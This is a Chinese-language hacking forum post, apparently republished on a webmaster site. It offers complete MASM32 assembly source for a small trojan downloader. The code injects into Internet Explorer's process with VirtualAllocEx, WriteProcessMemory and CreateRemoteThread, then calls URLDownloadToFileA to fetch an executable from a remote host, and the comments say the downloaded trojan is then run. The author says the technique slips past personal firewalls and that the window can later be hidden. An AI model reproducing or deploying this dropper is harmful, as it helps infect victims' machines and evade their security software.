大家可能都用過網頁木馬來下真正的EXE木馬吧,但是有些時候 后門比較大下載的時候常常是網頁暫停或是報錯(CHM木馬常遇到) 所以寫了這個程序。。。。 程序還要改下才好用哈,不過只有2kb很小了。。。。 編繹參數: C:\masm32\BIN>type ii.bat ml /c /coff i.asm link /subsystem:windows i.obj 剛才測試了一下可以逃過天網的應用程序防問網絡限制金山網鏢也肯定沒問題。 ; #--------------------------------------# # ; # Injection downloadcode in IE --> # # ; # -->also it can jump personal fire wall # # ; # 2004.07.15 # ; # codz: czy # # ; #------------------------------------------# # ;test on win2k server sp4 masm8 .386 .model flat,stdcall option casemap:none include ../include/user32.inc includelib ../lib/user32.lib include ../include/kernel32.inc includelib ../lib/kernel32.lib include ../include/windows.inc .data hello db ’2K下建遠程線程’,0 tit db ’IEFrame’,0 szFormat db ’PID是:%d’,0 szBuffer dd 20 dup(0),0 pid dd 0 hProcess dd 0 hThread dd 0 pCodeRemote dd 0 path1 db ’c:\a.EXE’,0 .const szmsg db ’URLDownloadToFileA’,0 userdll db ’Urlmon.dll’,0 ;szmsg db ’MessageBoxA’,0 ;userdll db ’User32.dll’,0 szloadlib db ’LoadLibraryA’,0 ;注意和LoadLibraryW的區別喲 kerdll db ’kernel32.dll’,0 .code codebegin: dispdata db "http://192.168.0.5/NBTreeList.exe",0 szTit db "c:\a.exe",0 datalen =$-codebegin Rproc proc msgbox ;MessageBoxA的地址為參數 CALL @F ;push esi @@: POP EBX SUB EBX,OFFSET @B LEA ECX,[EBX dispdata] LEA EDX,[EBX szTit] push NULL push 0 push edx push ecx push NULL call msgbox ret ;重要 Rproc endp codelen =$-codebegin ;代碼長度xx字節 start: ;invoke FindWindow,0,offset tit ;返回計算器窗口句柄 invoke FindWindow,offset tit,0 invoke GetWindowThreadProcessId,eax,offset pid ;計算機器程序的進程PID號 ;invoke wsprintf,offset szBuffer,offset szFormat,pid ;把PID用十進制顯示 invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid ;打開進程,得到進程句柄 mov hProcess,eax ;保存進程句柄 invoke VirtualAllocEx,hProcess,0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE mov pCodeRemote,eax invoke WriteProcessMemory,hProcess,pCodeRemote,offset codebegin,codelen,NULL mov esi,pCodeRemote add esi,datalen push esi invoke LoadLibrary,offset userdll invoke GetProcAddress,eax,offset szmsg pop esi invoke CreateRemoteThread,hProcess,0,0,esi,eax,0,0 mov hThread,eax ; 返回線程句柄 .if hThread invoke WaitForSingleObject,hThread, INFINITE ;等待線程結束 invoke CloseHandle,hThread ;關閉線程句柄 .endif invoke VirtualFreeEx,hProcess,pCodeRemote,codelen,MEM_RELEASE ;釋放空間 invoke CloseHandle,hProcess ;關閉進程句柄 invoke WinExec,offset path1,SW_SHOW ;以正常方式執行下載的木馬。。到時候改一下就沒窗口了。。 ;invoke MessageBoxA,0,offset szBuffer,offset szBuffer,1 invoke ExitProcess,0 end start |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信